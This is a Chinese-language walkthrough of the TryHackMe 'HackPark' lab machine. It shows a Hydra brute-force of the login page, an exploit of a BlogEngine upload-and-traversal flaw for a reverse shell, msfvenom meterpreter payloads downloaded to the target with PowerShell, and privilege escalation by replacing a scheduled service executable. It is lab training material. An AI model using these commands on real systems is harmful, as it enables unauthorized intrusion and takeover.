THM-HackPark(黑客公园)
首先查看网络连通性,尝试ping
通靶机
初步判断这台靶机不支持ping
侦查
尝试直接访问靶机,看一看有没有什么开放信息
发现是一个小丑的图片,将改图片下载,使用Google
识别图片,看一看这个小丑是谁
得到该小丑的名称可能是Pennywise
,但是对于我们来说并没有什么用
使用Nmap
扫描靶机开放端口
只有一个80\web和3389\远程桌面
服务,看来还是得从80
端口着手
尝试访问/admin
目录
访问都自动跳转到了http://10.10.125.223/Account/login.aspx
登录页面
猜测用户名是admin,使用常用的弱密码尝试登录admin、password、abc123、123456
,都登录失败
尝试使用hydra
破解admin用户的密码,由于提交的字段参数过多,使用浏览器调试工具获取传输的字段和值
然后使用hydar
进行爆破破解
hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.10.125.223 http-post-form "/Account/login.aspx:__VIEWSTATE=sJESqm2ltRmJ1pf5NyQN8UXgjq3n5we3svMivCmSzECDItjp6wqwfB9Qp0mGT42zTs7KOUgV8%2BRDmN2j3KEGlRHK5LQXTBy6tl3Qu0YZGWnJ0FAfu4A76QMT8bH5Tf%2BEdk30TJ1gPFH%2FwJAsvf2u4k1uTIX5ALjXvDJBjHcRoPR0MA9v1jb9RygqT3hIYVfzyhtfPX7%2FCoGF2wwxV4acLs0hv1iAJzOgeiswynnhr7uiGTEcbhdtOU8xnIdwC%2Fp2hINGsMx0DHefD3VlLak75CHS6nEcJ13cvrOyPgAM9POdvDvWBYAA4Dnw%2BWUiltosIr7uW56v%2BEQwbI7ZCHbLZLzflMj%2BQCUojKK%2FMJjKcQzTC0IU&__EVENTVALIDATION=x%2FdZWFIv9j8mrVem7QpqFMC14IcSCd3UpF94zXnc4mxEN6fSz9GC38UGLp8GTWpNL6IFwDjfbuZ3kHJm2gjTWuVu6eXTN5i7SbzSAFGNhM9YnUDrf4aNNambtbA2rCbcL3CgHA1Hcv%2Fb2kM5%2BOqoxKGRkT1eOLGErfhElhlZqwvT7clA&ctl00%24MainContent%24LoginUser%24UserName=^USER^&ctl00%24MainContent%24LoginUser%24Password=^PASS^&ctl00%24MainContent%24LoginUser%24LoginButton=%E7%99%BB%E5%BD%95:F=Login failed"
-l admin
用户名为admin
-P
指定使用的字典
http-post-form
代表使用post form表单方式提交
F=login failed
页面出现Login failed就代表爆破失败
成功跑出密码为1qaz2wsx
,使用该密码进行登录
登录后台得到网站使用的是 BlogEngine
,版本为3.3.6.0
查看主页源代码也可以获取该版本
获取初始访问权限
使用searchsploit
或者http://explit-db.com查看该版本是否具有CVE
使用searchsploit -m aspx/webapps/46353.cs
,查看漏洞利用代码完整路径
查看/usr/share/exploitdb/exploits/aspx/webapps/46353.cs
漏洞利用代码,获取使用帮助,以及漏洞利用脚本
通过查看漏洞利用代码,我们大概了解了漏洞利用方法
步骤:
- 该文件会反弹一个会话,我们需要在本地监听
- 文件上传地址为http://10.10.10.10/admin/app/editor/editpost.cshtml,并且文件名必须是PostView.ascx
- 访问上传文件,需访问并反弹
shell
的地址为http://10.10.10.10/?theme=../../App_Data/files
操作:
首先修改文件反弹shell
的IP和端口,修改文件名为PostView.ascx
在本机监听4445端口
找到文件上传页面进行文件上传
访问http://10.10.10.10/?theme=../../App_Data/files
页面反弹shell
获得iis apppool\blog
用户的权限
切换外壳(meterpreter shell)
由于弹回的shell
不太运行,我们更喜欢稳定、便于操作的meterprete shell
使用msfvenom
生成exe
文件,使用http.server
共享改文件,并使用msfconsole
等待靶机上线
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai LHOST=10.2.34.252 LPORT=4444 -f exe -o Junglezt.exe
在靶机使用命令下载我们共享的Junglezt.exe
powershell -c wget 'http://10.2.34.252:8080/Junglezt.exe' -outfile 'Junglezt.exe'
根据共享服务器可以得知靶机确实下载了Junglezt.exe
,应该是c:\windows\system32\inetsrv>
目录不具有写入权限
切换到c:\Windows\Temp
任何人都具有写入权限的目录,然后再次下载Junglezt.exe
运行改文件,并回弹shell
使用sysinfo
查看系统信息
使用ps
查看运行的进程
发现运行的有WService.exe
,运行该进程的服务名称是WindowsScheduler
进过查阅,发现WService.exe
并不是系统进程,可能是我们可以使用的提权进程
通过刚刚sc qc WindowsScheduler
的到该服务运行的文件位置在C:\PROGRA~2\SYSTEM~1\
切换到该目录,查看该目录下的内容,得到一个Events
的目录,Events(事件)应该是一个日志的目录
进入该目录,可以看到拥有一个20198415519.INI_LOG.txt
,查看该文件
可以看到WindowsScheduler
服务,每过一分钟执行一次Message.exe
,并且运行的用户是Administrator
我们找到Message.exe
文件的位置,并查看对C:\PROGRA~2\SYSTEM~1
目录是否拥有写入权限
可以看到Everyone:(OI)(CI)(M)
,所有人对该目录的文件具有访问和修改的权限
- M:修改访问权限
那么这里我们可以修改Message.exe
的内容获得Administrator
的权限
使用msfvenom
生成反弹shell
的getadmin.exe
,并使用msfconsole
进行监听
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai LHOST=10.2.34.252 LPORT=5555 -f exe -o Junglezt.exe
修改原先的Message.exe
文件名为Message.exe.bak
,使用meterpreter
命令upload
上传getadmin.exe
文件名为Message.exe
等待一会,就会得到一个拥有Administrator
权限的会话
这里并不是必须要反弹meterpreter shell
,也可以使用windows/shell_reverse_tcp
,使用普通的shell,然后上传winPEAS.bat
提权脚本,提权,具体看个人喜好
获取flag